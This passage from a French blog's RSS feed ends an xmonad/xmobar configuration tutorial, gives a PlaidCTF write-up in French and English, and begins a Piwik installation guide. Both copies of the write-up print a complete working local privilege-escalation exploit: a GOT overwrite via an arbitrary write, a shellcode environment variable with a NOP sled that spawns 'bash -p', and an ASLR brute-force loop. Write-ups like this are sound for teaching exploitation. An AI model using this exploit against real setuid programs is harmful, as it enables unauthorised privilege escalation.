<p>myModMask = mod1Mask (mod4Mask pour la touche zindoze)</p>
<p>myWorkspaces = ["1", "2",…blabla,"9"] (on peut aussi mettre des noms, ["main","blabla","trucmuche",…etc] )</p>
<p>myNormalBorderColor = &laquo;&nbsp;#3f3f3f&nbsp;&raquo; (la couleur pour le bord d&#8217;une fenêtre sans focus)</p>
<p>myFocusedBorderColor = &laquo;&nbsp;#6f6f6f&nbsp;&raquo; (je vous laisse deviner…)</p></blockquote>
<p>&nbsp;</p>
<p>Ensuite, nous allons définir la liste de nos layouts:</p>
<blockquote><p>myOwnLayout = tiled ||| Mirror tiled ||| magnifier (Circle) ||| ResizableTall 1 (3/100) (1/2) [] ||| spiral (6/7) ||| simpleTabbed ||| Full</p>
<p>where</p>
<p>tiled = Tall nmaster delta ratio</p>
<p>nmaster = 1</p>
<p>ratio = 1/2</p>
<p>delta = 3/100</p></blockquote>
<p>Notez que j&#8217;aurai pu faire de même pour ResizableTall, en l&#8217;appellant resizetall, puis en le définissant dans le where: resizetall = ResizableTall nmaster delta ratio []</p>
<p>nmaster: le nombre de fenêtres dans le master, delta: le pourcentage de l&#8217;écran modifié à chaque redimensionnement via Alt-h/l, ratio: partage de l&#8217;écran par défaut (une moitié pour le master, l&#8217;autre moitié pour le reste)</p>
<p>Vous remarquerez que je n&#8217;ai pas touché aux raccourcis claviers par rapport à la config par défaut, et de même, je ne modifie pas myManageHook.</p>
<p>Idem pour les autres Hooks (myLogHook, myStartupHook, etc)</p>
<p>Ensuite, on charge notre conf&#8217; par défaut dans la variable defaults:</p>
<blockquote><p>defaults = defaultConfig {<br />
&#8211; simple stuff<br />
terminal           = myTerminal,<br />
focusFollowsMouse  = myFocusFollowsMouse,<br />
borderWidth        = myBorderWidth,<br />
modMask            = myModMask,<br />
numlockMask        = myNumlockMask,<br />
workspaces         = myWorkspaces,<br />
normalBorderColor  = myNormalBorderColor,<br />
focusedBorderColor = myFocusedBorderColor,</p>
<p>&#8211; key bindings<br />
keys               = myKeys,<br />
mouseBindings      = myMouseBindings,</p>
<p>&#8211; hooks, layouts</p>
<p>manageHook         = myManageHook,<br />
handleEventHook    = myEventHook,<br />
logHook            = myLogHook,<br />
startupHook        = myStartupHook<br />
}</p></blockquote>
<p>Là, comme vous le voyez, j&#8217;ai viré le layout = myLayout, par rapport à la conf par défaut, vous allez voir un peu plus bas pourquoi, puisque nous arrivons au bout du fichier de conf&#8217;:</p>
<blockquote><p>main = do<br />
xmproc &lt;- spawnPipe &laquo;&nbsp;/usr/bin/xmobar&nbsp;&raquo;<br />
xmonad $ defaultConfig<br />
{ manageHook = manageDocks &lt;+&gt; manageHook defaultConfig<br />
, layoutHook = avoidStruts $ myOwnLayout<br />
, logHook = dynamicLogWithPP xmobarPP<br />
{ ppOutput = hPutStrLn xmproc<br />
, ppTitle = xmobarColor &laquo;&nbsp;lightblue&nbsp;&raquo; &laquo;&nbsp;&nbsp;&raquo; . shorten 50<br />
}<br />
, modMask = mod1Mask<br />
, terminal = myTerminal<br />
, focusFollowsMouse = myFocusFollowsMouse<br />
, workspaces = myWorkspaces<br />
, normalBorderColor  = myNormalBorderColor<br />
, focusedBorderColor = myFocusedBorderColor</p>
<p>} `additionalKeys`<br />
[ ((0, xK_Pause), spawn "mpc --no-status toggle")<br />
, ((0, xK_Print), spawn "mpc --no-status prev")<br />
, ((0, xK_Scroll_Lock), spawn "mpc --no-status next")<br />
, ((mod1Mask, xK_u ), sendMessage (IncMasterN 1))<br />
, ((mod1Mask, xK_i ), sendMessage (IncMasterN (-1)))<br />
, ((mod1Mask, xK_Right), nextWS)<br />
, ((mod1Mask, xK_Left), prevWS)<br />
, ((mod1Mask .|. shiftMask, xK_Right), shiftToNext &gt;&gt; nextWS)<br />
, ((mod1Mask .|. shiftMask, xK_Left), shiftToPrev &gt;&gt; prevWS)<br />
, ((mod1Mask,               xK_p     ), spawn "dmenu_run -i -nb '#3F3F3F' -nf '#DCDCCC' -sb '#1E2320' -sf '#F0DFAF'")<br />
, ((mod1Mask,             xK_a), sendMessage MirrorShrink)<br />
, ((mod1Mask,              xK_z), sendMessage MirrorExpand)<br />
]</p></blockquote>
<p>&nbsp;</p>
<p>Oui, ça fait un peu peur! Bon, ligne par ligne:</p>
<p>main = do     No Comment!!! <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>xmproc &lt;- spawnPipe &laquo;&nbsp;/usr/bin/xmobar&nbsp;&raquo;  On envoie les données de Xmonad au stdin de xmobar &#8211; regardez au début du fichier, nous avons importé cette fonction <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  et c&#8217;est pas pour rien!</p>
<p>xmonad $ defaultConfig  on charge la config par défaut d&#8217;xmonad puis:</p>
<p>{ manageHook = manageDocks &lt;+&gt; manageHook defaultConfig<br />
, layoutHook = avoidStruts $ myOwnLayout</p>
<p>Là, avoidStruts nous permet de réserver une petite place pour notre pote xmobar (dont on va parler dans pas longtemps <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ), et on charge NOS layouts et pas ceux par défaut <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>, logHook = dynamicLogWithPP xmobarPP<br />
{ ppOutput = hPutStrLn xmproc<br />
, ppTitle = xmobarColor &laquo;&nbsp;lightblue&nbsp;&raquo; &laquo;&nbsp;&nbsp;&raquo; . shorten 50<br />
}</p>
<p>Là, on définit ce qu&#8217;XMonad va envoyer à notre pote xmobar.</p>
<p>Le reste coule de source, jusqu&#8217;au:</p>
<p>`additionalKeys`</p>
<p>[</p>
<p>vos raccourcis clavier</p>
<p>]</p>
<p>comme vous le voyez, j&#8217;utilise les vieilles touches Print, Scroll Lock, et pause pour contrôler mpd via mpc, alt-u/i me permet d&#8217;ajouter/enlever un client du master, Alt-gauche/droite me permet (enfin! je vous avais bien dit qu&#8217;on allait y arriver) de passer d&#8217;un workspace à l&#8217;autre (là aussi, regardez bien ce qu&#8217;on a importé en début de fichier <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ) shift-alt-gauche/droite me permet d&#8217;envoyer une appli d&#8217;un workspace à l&#8217;autre. Vous noterez aussi le Alt-p, qui me lance dmenu avec des couleurs &laquo;&nbsp;zenburn&nbsp;&raquo; au lieu du dmenu de base dans la conf&#8217; par défaut. Alt-a/z me permet de redimensionner un client verticalement en mode ResizableTall &#8211; un peu comme wmii.</p>
<p>Bien évidemment vous pouvez toujours remplacer mod1Mask par mod4Mask, etc…</p>
<p>Notez aussi la commande spawn &laquo;&nbsp;blabla&nbsp;&raquo;, qui permet d&#8217;exécuter un programme dans le $PATH en l&#8217;associant à une touche du clavier/combo de touches.</p>
<p>Dernier petit détail, pour que xmonad prenne en compte vos changements, Alt-q permet de le recompiler et &#8211; si tout s&#8217;est bien déroulé &#8211; de le relancer. En cas d&#8217;erreur, vous verrez un xmessage apparaître avec l&#8217;erreur en question, la(les) ligne(s) concernée(s) et une solution possible.</p>
<p>Bon, votre xmonad devrait déjà avoir un peu plus de gueule! Il reste juste à remplir un peu notre pote xmobar d&#8217;infos intéressantes :] Et ça, ça se bidouille dans le fichier ~/.xmobarrc</p>
<p>&nbsp;</p>
<p><strong><span style="text-decoration: underline;">III- Exemple de .xmobarrc.</span></strong></p>
<p>Bon, tout d&#8217;abord je vous conseille fortement de lire le man d&#8217;xmobar, il y a pas mal d&#8217;options et ce serait un peu long de toutes les détailler. En attendant, voici le mien:</p>
<blockquote><p>Config { font = &laquo;&nbsp;-*-terminus-*-*-*-*-12-*-*-*-*-*-*-u&nbsp;&raquo;<br />
, bgColor = &laquo;&nbsp;#3F3F3F&nbsp;&raquo;<br />
, fgColor = &laquo;&nbsp;#dcdccc&nbsp;&raquo;<br />
, position = Top<br />
, lowerOnStart = True<br />
, commands = [ Run Network "eth0" ["-L", "8", "-H", "32", "-l", "#C9A34E", "-n", "#429942" ,"-h", "#A36666", "-t", "dl: &lt;rx&gt; Kio/s - ul: &lt;tx&gt; Kio/s"] 10<br />
, Run Memory ["-t","Mem: &lt;usedratio&gt;%"] 10<br />
, Run Com &laquo;&nbsp;mpc&nbsp;&raquo; ["| head -n1"] &laquo;&nbsp;&nbsp;&raquo; 50<br />
, Run MultiCpu ["-t &lt;total0&gt;% &lt;total1&gt;%"] 50<br />
, Run Weather &laquo;&nbsp;LFRS&nbsp;&raquo; ["-t"," &lt;tempC&gt;°C","-L","10","-H","22","--normal","lightgreen","--high","#C33B3B","--low","lightblue"] 18000<br />
, Run Date &laquo;&nbsp;%a %b %_d %Y %H:%M:%S&nbsp;&raquo; &laquo;&nbsp;date&nbsp;&raquo; 10<br />
, Run StdinReader<br />
]<br />
, sepChar = &laquo;&nbsp;%&nbsp;&raquo;<br />
, alignSep = &laquo;&nbsp;}{&nbsp;&raquo;<br />
, template = &nbsp;&raquo; %StdinReader% }{ &lt;fc=#dfaf8f&gt;[&lt;/fc&gt; ♫: %mpc% &lt;fc=#dfaf8f&gt;|&lt;/fc&gt; #:%multicpu% &lt;fc=#dfaf8f&gt;|&lt;/fc&gt; %memory% &lt;fc=#dfaf8f&gt;|&lt;/fc&gt; %eth0% &lt;fc=#dfaf8f&gt;|&lt;/fc&gt; ☼:%LFRS% %date% &lt;fc=#dfaf8f&gt;]&lt;/fc&gt;&nbsp;&raquo;<br />
}</p></blockquote>
<p>Important: le Run StdinReader! C&#8217;est ce qui nous permet de lire ce qu&#8217;XMonad va envoyer au stdin d&#8217;xmobar <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>De même, si vous voulez lancer une commande externe à xmobar, Run Com &laquo;&nbsp;nomdelacommande&nbsp;&raquo; ["paramètres / pipe"] &laquo;&nbsp;&nbsp;&raquo; intervalle en dixième de secondes.</p>
<p>Comme vous voyez, xmobar est assez complet et nous permet d&#8217;afficher pas mal de choses. Petite note au niveau de Weather (météo): habitant à Nantes, ma station est LFRS, vous pourrez trouver une liste complète ici:</p>
<p><a href="http://weather.noaa.gov" target="_blank">http://weather.noaa.gov</a></p>
<p>Et la doc d&#8217;xmobar:</p>
<p><a href="http://projects.haskell.org/xmobar/" target="_blank">http://projects.haskell.org/xmobar/</a></p>
<p>Et pour finir, un petit screenshot de chez moi:</p>
<p>&nbsp;</p>
<p><a href="http://ompldr.org/vOHdtNg"><a href="http://ompldr.org/vOTJxZw"><img class="aligncenter" src="http://ompldr.org/tOTJxZw" alt="" width="120" height="40" /></a><br />
</a></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hydraze.org/2011/06/xmonad-quand-je-vous-disais-que-vous-alliez-en-bouffer-du-tiling-window-manager/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>[PlaidCTF] Write up – 23 – Exploit Me :p [Français]</title>
		<link>http://www.hydraze.org/2011/04/plaidctf-write-up-%e2%80%93-23-%e2%80%93-exploit-me-p-francais/</link>
		<comments>http://www.hydraze.org/2011/04/plaidctf-write-up-%e2%80%93-23-%e2%80%93-exploit-me-p-francais/#comments</comments>
		<pubDate>Mon, 25 Apr 2011 12:41:00 +0000</pubDate>
		<dc:creator>hydraze</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[pctf]]></category>
		<category><![CDATA[plaid ctf]]></category>
		<category><![CDATA[plaidctf]]></category>
		<category><![CDATA[write up]]></category>

		<guid isPermaLink="false">http://www.hydraze.org/?p=235</guid>
		<description><![CDATA[Click here for english version Ce week-end a eu lieu le Plaid CTF, fait par l&#8217;équipe Plaid Parliament of Pwning. Ça a été un de mes meilleurs CTF depuis bien longtemps, un grand merci à eux pour l&#8217;avoir fait. J&#8217;ai joué à ce CTF avec Zenk-Security, merci à eux aussi pour ce moment de rigolade. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.hydraze.org/2011/04/plaidctf-write-up-23-exploit-me-p-english/">Click here for english version</a><br />
Ce week-end a eu lieu le Plaid CTF, fait par l&#8217;équipe Plaid Parliament of Pwning. Ça a été un de mes meilleurs CTF depuis bien longtemps, un grand merci à eux pour l&#8217;avoir fait. J&#8217;ai joué à ce CTF avec <a href="http://www.zenk-security.com">Zenk-Security</a>, merci à eux aussi pour ce moment de <a href="http://twitpic.com/4p4gz8">rigolade</a>. Ceci est mon write up pour l&#8217;épreuve 23, un binaire à exploiter.<br />
<span id="more-235"></span></p>
<p>L&#8217;intitulé est :<br />
<code>It seems like AED also has some plans to raise hacker force!<br />
We found this binary as an exploitation practice program in the office, but they forgot to remove the setgid flag on the program.<br />
So we can get the secret key!<br />
</code><br />
Ok, allons-y.<br />
<code>exp_23@a5:~$ cd /opt/pctf/exploit/<br />
exp_23@a5:/opt/pctf/exploit$ ls -l<br />
total 8<br />
-rwxr-sr-x 1 root expkey 3448 Apr 21 12:05 exploitMe<br />
-rw-r----- 1 root expkey   27 Apr 21 12:06 key<br />
</code></p>
<p>Lançons le pour voir le nombre d&#8217;arguments ou autre chose&#8230;<br />
<code> exp_23@a5:/opt/pctf/exploit$ ./exploitMe<br />
Regards, Dolan :}<br />
exp_23@a5:/opt/pctf/exploit$ ./exploitMe 1<br />
Regards, Dolan :}<br />
exp_23@a5:/opt/pctf/exploit$ ./exploitMe 1 1<br />
Regards, Dolan :}<br />
exp_23@a5:/opt/pctf/exploit$ ./exploitMe 1 1 1<br />
Segmentation fault<br />
</code><br />
Je pense que c&#8217;est l&#8217;heure de sortir gdb. (J&#8217;utilise un .gdbinit fourni par <a href="https://www.reverse-engineering.net">https://www.reverse-engineering.net</a> avant qu&#8217;ils ne ferment, un grand merci à eux. PS: il peut aussi être trouvé <a href="http://reverse.put.as/wp-content/uploads/2010/04/gdbinit73">ici</a>).</p>
<p><code> exp_23@a5:/opt/pctf/exploit$ gdb ./exploitMe<br />
[...]<br />
Reading symbols from /opt/pctf/exploit/exploitMe...(no debugging symbols found)...done.<br />
gdb$ run 1 2 3<br />
Program received signal SIGSEGV, Segmentation fault.<br />
--------------------------------------------------------------------------[regs]<br />
EAX: 0x00000003  EBX: 0x00000003  ECX: 0x00000001  EDX: 0x00000002  o d I t s z a P c<br />
ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFDEE6F8  ESP: 0xBFDEE660  EIP: 0x080485B2<br />
CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B<br />
--------------------------------------------------------------------------[code]<br />
0x80485b2:	mov    %edx,(%eax)<br />
0x80485b4:	movl   $0x0,(%esp)<br />
0x80485bb:	call   0x8048434 &lt;exit@plt&gt;<br />
0x80485c0:	add    $0x6c,%esp<br />
0x80485c3:	ret<br />
0x80485c4:	sub    $0x2c,%esp<br />
0x80485c7:	mov    $0x80486d3,%eax<br />
0x80485cc:	movl   $0x5,0x8(%esp)<br />
--------------------------------------------------------------------------------<br />
0x080485b2 in ?? ()<br />
</code><br />
Le mov où le segfault se produit est très intéressant. En effet, il écrit le contenu de %edx dans l'adresse pointée par %eax. Mais attendez... On contrôle %eax et %edx !<br />
Vous voyez leurs valeurs ? Ils correspondent au troisième argument (pour %eax) et au deuxième argument (pour %edx). Mais ce n'est pas aussi simple. En effet le troisième argument doit être inférieur à 71 sinon le programme se termine. Impossible d'insérer une adresse complète en ayant moins de 71 comme valeur... Tentons autre chose.</p>
<p><code>gdb$ run $(perl -e 'print "A"x50 . "BBBB"') 31337 69 </p>
<p>Program exited normally.<br />
gdb$ run $(perl -e 'print "A"x55 . "BBBB"') 31337 69</p>
<p>Program exited normally.<br />
gdb$ run $(perl -e 'print "A"x60 . "BBBB"') 31337 69</p>
<p>Program exited normally.<br />
gdb$ run $(perl -e 'print "A"x64 . "BBBB"') 31337 69</p>
<p>Program received signal SIGSEGV, Segmentation fault.<br />
--------------------------------------------------------------------------[regs]<br />
EAX: 0x42424242  EBX: 0x00000045  ECX: 0x00000000  EDX: 0x00007A69  o d I t s z a P c<br />
ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFA67E58  ESP: 0xBFA67DC0  EIP: 0x080485B2<br />
CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B<br />
--------------------------------------------------------------------------[code]<br />
0x80485b2:	mov    %edx,(%eax)<br />
0x80485b4:	movl   $0x0,(%esp)<br />
0x80485bb:	call   0x8048434 &lt;exit@plt&gt;<br />
0x80485c0:	add    $0x6c,%esp<br />
0x80485c3:	ret<br />
0x80485c4:	sub    $0x2c,%esp<br />
0x80485c7:	mov    $0x80486d3,%eax<br />
0x80485cc:	movl   $0x5,0x8(%esp)<br />
--------------------------------------------------------------------------------<br />
0x080485b2 in ?? ()<br />
</code><br />
Gagné ! Maintenant souvenons nous que l'ASLR (randomization de l'adressage mémoire) et le bit NX (stack non exécutable) sont de la partie. Regardons ça :<br />
<code> 0x80485bb:	call   0x8048434 &lt;exit@plt&gt;</code><br />
C'est seulement 2 instructions après celle qui segfault. Ça vous dis un petit ret2got un peu spécial ?</p>
<p><code> exp_23@a5:/opt/pctf/exploit$ objdump -d -j .plt ./exploitMe | grep exit -A4<br />
08048434 &lt;exit@plt&gt;:<br />
8048434:	ff 25 f4 97 04 08    	jmp    *0x80497f4<br />
804843a:	68 40 00 00 00       	push   $0x40<br />
804843f:	e9 60 ff ff ff       	jmp    80483a4 &lt;__gmon_start__@plt-0x10&gt;<br />
</code><br />
On va réécrire la valeur à l'adresse 0x80497f4 pour qu'elle tombe sur l'adresse de notre shellcode.<br />
Le shellcode sera en variable d'environnement et avec un joli tobogan de plus de 9000 NOP. (It's over 9000). Le shellcode drop un bash avec l'argument -p pour préserver l'euid.</p>
<p><code><br />
export SCH=$(perl -e 'print "\x90"x10000 . "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81"')<br />
</code><br />
L'adresse du shellcode est entre 0xbf800000 and 0xbfff-------- à cause de l'ASLR, utilisons 0xbfaa57dc comme adresse, c'est joli. En décimal cela donne 3215611868.</p>
<p>Maintenant que nous savons tout ça, bruteforçons un peu...<br />
<code><br />
while true; do ./exploitMe $(perl -e 'print "A"x64 . "\xf4\x97\x04\x08"') 3215611868 69; done<br />
Segmentation fault<br />
Segmentation fault<br />
Segmentation fault<br />
Segmentation fault<br />
Segmentation fault<br />
Segmentation fault<br />
[...]<br />
Segmentation fault<br />
Segmentation fault<br />
bash-4.1$  id<br />
uid=6023(exp_23) gid=1007(expusers) egid=1008(expkey) groups=1007(expusers)<br />
bash-4.1$ cat key<br />
K3Ys_t0_15_M1nUtEs_0f_F4mE<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hydraze.org/2011/04/plaidctf-write-up-%e2%80%93-23-%e2%80%93-exploit-me-p-francais/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>[PlaidCTF] Write up &#8211; 23 &#8211; Exploit Me :p [English]</title>
		<link>http://www.hydraze.org/2011/04/plaidctf-write-up-23-exploit-me-p-english/</link>
		<comments>http://www.hydraze.org/2011/04/plaidctf-write-up-23-exploit-me-p-english/#comments</comments>
		<pubDate>Mon, 25 Apr 2011 10:09:46 +0000</pubDate>
		<dc:creator>hydraze</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[english]]></category>
		<category><![CDATA[pctf]]></category>
		<category><![CDATA[plaid ctf]]></category>
		<category><![CDATA[plaidctf]]></category>
		<category><![CDATA[write up]]></category>

		<guid isPermaLink="false">http://www.hydraze.org/?p=219</guid>
		<description><![CDATA[Cliquez ici pour la version française This week end took place the Plaid CTF, made by the Plaid Parliament of Pwning team. Thanks to all of them for this awesome CTF, one of the best for a long time. I played it with the Zenk-Security team. This is my write up for the problem 23, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.hydraze.org/2011/04/plaidctf-write-up-%e2%80%93-23-%e2%80%93-exploit-me-p-francais/">Cliquez ici pour la version française</a><br />
This week end took place the Plaid CTF, made by the Plaid Parliament of Pwning team. Thanks to all of them for this awesome CTF, one of the best for a long time. I played it with the <a href="http://www.zenk-security.com">Zenk-Security team</a>.<br />
This is my write up for the problem 23, a « pwnable ».<br />
<span id="more-219"></span></p>
<p><code>It seems like AED also has some plans to raise hacker force!<br />
We found this binary as an exploitation practice program in the office, but they forgot to remove the setgid flag on the program.<br />
So we can get the secret key!<br />
</code><br />
Ok, let&#8217;s go.<br />
<code>exp_23@a5:~$ cd /opt/pctf/exploit/<br />
exp_23@a5:/opt/pctf/exploit$ ls -l<br />
total 8<br />
-rwxr-sr-x 1 root expkey 3448 Apr 21 12:05 exploitMe<br />
-rw-r----- 1 root expkey   27 Apr 21 12:06 key<br />
</code></p>
<p>Let&#8217;s run it to check the number of args and whatever&#8230;<br />
<code> exp_23@a5:/opt/pctf/exploit$ ./exploitMe<br />
Regards, Dolan :}<br />
exp_23@a5:/opt/pctf/exploit$ ./exploitMe 1<br />
Regards, Dolan :}<br />
exp_23@a5:/opt/pctf/exploit$ ./exploitMe 1 1<br />
Regards, Dolan :}<br />
exp_23@a5:/opt/pctf/exploit$ ./exploitMe 1 1 1<br />
Segmentation fault<br />
</code><br />
It&#8217;s time for some gdb stuff. (I use the .gdbinit that <a href="https://www.reverse-engineering.net">https://www.reverse-engineering.net</a> provided for a long time, thanks to them for all their work. PS: it can be found <a href="http://reverse.put.as/wp-content/uploads/2010/04/gdbinit73">here</a>)<br />
<code> exp_23@a5:/opt/pctf/exploit$ gdb ./exploitMe<br />
[...]Reading symbols from /opt/pctf/exploit/exploitMe...(no debugging symbols found)...done.<br />
gdb$ run 1 2 3<br />
Program received signal SIGSEGV, Segmentation fault.<br />
--------------------------------------------------------------------------[regs]<br />
EAX: 0x00000003  EBX: 0x00000003  ECX: 0x00000001  EDX: 0x00000002  o d I t s z a P c<br />
ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFDEE6F8  ESP: 0xBFDEE660  EIP: 0x080485B2<br />
CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B<br />
--------------------------------------------------------------------------[code]<br />
0x80485b2:	mov    %edx,(%eax)<br />
0x80485b4:	movl   $0x0,(%esp)<br />
0x80485bb:	call   0x8048434 &lt;exit@plt&gt;<br />
0x80485c0:	add    $0x6c,%esp<br />
0x80485c3:	ret<br />
0x80485c4:	sub    $0x2c,%esp<br />
0x80485c7:	mov    $0x80486d3,%eax<br />
0x80485cc:	movl   $0x5,0x8(%esp)<br />
--------------------------------------------------------------------------------<br />
0x080485b2 in ?? ()<br />
</code><br />
The mov where the segfault occurs is very interesting. It writes the content of %edx to the address pointed by %eax. But, wait... We both control %eax and %edx !<br />
You see the values ? They correspond to the third argument (for %eax) and the second argument (for %edx).</p>
<p>But it's not as simple, the third argument must be under 71 or it exits. Let's try something else to control %eax.</p>
<p><code>gdb$ run $(perl -e 'print "A"x50 . "BBBB"') 31337 69 </p>
<p>Program exited normally.<br />
gdb$ run $(perl -e 'print "A"x55 . "BBBB"') 31337 69</p>
<p>Program exited normally.<br />
gdb$ run $(perl -e 'print "A"x60 . "BBBB"') 31337 69</p>
<p>Program exited normally.<br />
gdb$ run $(perl -e 'print "A"x64 . "BBBB"') 31337 69</p>
<p>Program received signal SIGSEGV, Segmentation fault.<br />
--------------------------------------------------------------------------[regs]<br />
EAX: 0x42424242  EBX: 0x00000045  ECX: 0x00000000  EDX: 0x00007A69  o d I t s z a P c<br />
ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFA67E58  ESP: 0xBFA67DC0  EIP: 0x080485B2<br />
CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B<br />
--------------------------------------------------------------------------[code]<br />
0x80485b2:	mov    %edx,(%eax)<br />
0x80485b4:	movl   $0x0,(%esp)<br />
0x80485bb:	call   0x8048434 &lt;exit@plt&gt;<br />
0x80485c0:	add    $0x6c,%esp<br />
0x80485c3:	ret<br />
0x80485c4:	sub    $0x2c,%esp<br />
0x80485c7:	mov    $0x80486d3,%eax<br />
0x80485cc:	movl   $0x5,0x8(%esp)<br />
--------------------------------------------------------------------------------<br />
0x080485b2 in ?? ()<br />
</code><br />
Win ! Now, remember that ASLR is on and the NX bit is set. Look at this :<br />
<code> 0x80485bb:	call   0x8048434 &lt;exit@plt&gt;</code><br />
It's only 2 instructions after the one which segfault. Let's ret2got.</p>
<p><code> exp_23@a5:/opt/pctf/exploit$ objdump -d -j .plt ./exploitMe | grep exit -A4<br />
08048434 &lt;exit@plt&gt;:<br />
8048434:	ff 25 f4 97 04 08    	jmp    *0x80497f4<br />
804843a:	68 40 00 00 00       	push   $0x40<br />
804843f:	e9 60 ff ff ff       	jmp    80483a4 &lt;__gmon_start__@plt-0x10&gt;<br />
</code><br />
We will rewrite the value at 0x80497f4 with the address of our shellcode.</p>
<p>We'll put a shellcode with a big NOP sled (over 9000 NOPs) in some environment variable. The shellcode drops a bash shell with -p to preserve rights.<br />
<code><br />
export SCH=$(perl -e 'print "\x90"x10000 . "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81"')<br />
</code><br />
The shellcode's address is between 0xbf800000 and 0xbfff--------, let's use 0xbfaa57dc as an address for it. In decimal base it's 3215611868.</p>
<p>Now, let's bruteforce a bit :<br />
<code><br />
while true; do ./exploitMe $(perl -e 'print "A"x64 . "\xf4\x97\x04\x08"') 3215611868 69; done<br />
Segmentation fault<br />
Segmentation fault<br />
Segmentation fault<br />
Segmentation fault<br />
Segmentation fault<br />
Segmentation fault<br />
[...]<br />
Segmentation fault<br />
Segmentation fault<br />
bash-4.1$  id<br />
uid=6023(exp_23) gid=1007(expusers) egid=1008(expkey) groups=1007(expusers)<br />
bash-4.1$ cat key<br />
K3Ys_t0_15_M1nUtEs_0f_F4mE<br />
</code><br />
The key is K3Ys_t0_15_M1nUtEs_0f_F4mE.</p>
<p>Many thanks to ZaZo0o and lestat for the review.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hydraze.org/2011/04/plaidctf-write-up-23-exploit-me-p-english/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Kiwip ? Non ! Piwik ! Ou l&#8217;histoire de l&#8217;installation d&#8217;un Piwik sur un wordpress.</title>
		<link>http://www.hydraze.org/2011/01/kiwip-non-piwik-ou-lhistoire-de-linstallation-dun-piwik-sur-un-wordpress/</link>
		<comments>http://www.hydraze.org/2011/01/kiwip-non-piwik-ou-lhistoire-de-linstallation-dun-piwik-sur-un-wordpress/#comments</comments>
		<pubDate>Mon, 17 Jan 2011 18:24:34 +0000</pubDate>
		<dc:creator>hydraze</dc:creator>
				<category><![CDATA[Découvertes]]></category>
		<category><![CDATA[audience]]></category>
		<category><![CDATA[coca]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[google analytics]]></category>
		<category><![CDATA[gratuit]]></category>
		<category><![CDATA[hamburger]]></category>
		<category><![CDATA[libre]]></category>
		<category><![CDATA[piwik]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[statistiques]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.hydraze.org/?p=187</guid>
		<description><![CDATA[Aujourd&#8217;hui, nous allons parler de Piwik. Mais, vous allez me demander, qu&#8217;est-ce que c&#8217;est que ça ? La réponse est simple : Piwik est un logiciel de mesure d&#8217;audience de site web, il se veut un concurent de Google Analytics® et, cerise sur le gâteau… il est libre et distribué sous licence GNU/GPLv3. Ses points [...]]]></description>
			<content:encoded><![CDATA[<p>Aujourd&#8217;hui, nous allons parler de Piwik. Mais, vous allez me demander, qu&#8217;est-ce que c&#8217;est que ça ? La réponse est simple : Piwik est un logiciel de mesure d&#8217;audience de site web, il se veut un concurent de Google Analytics® et, cerise sur le gâteau… il est libre et distribué sous licence GNU/GPLv3. Ses points positifs sont le fait qu&#8217;il est très abouti (ils ne mentent pas en disant vouloir remplacer Google Analytics, je pense même qu&#8217;ils y sont déjà), une grande confidentialité des données (vous ne savez pas ce que fait Google des données de vos visiteurs qu&#8217;il compile via des outils comme Google Analytics), une très bonne prise en main et surtout je suis vraiment tombé amoureux tellement c&#8217;est joli et complet <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Nous allons voir sa très facile installation sur un wordpress, je vous laisserais découvrir ses possibilités très étendues par la suite.</p>
<p><span id="more-187"></span></p>
<h2>Installation de Piwik</h2>
<p>L&#8217;installation de Piwik est très simple, bien qu&#8217;il y a un cas particulier que j&#8217;ai rencontré, qui peut poser un souci (nous le détaillerons plus bas).</p>
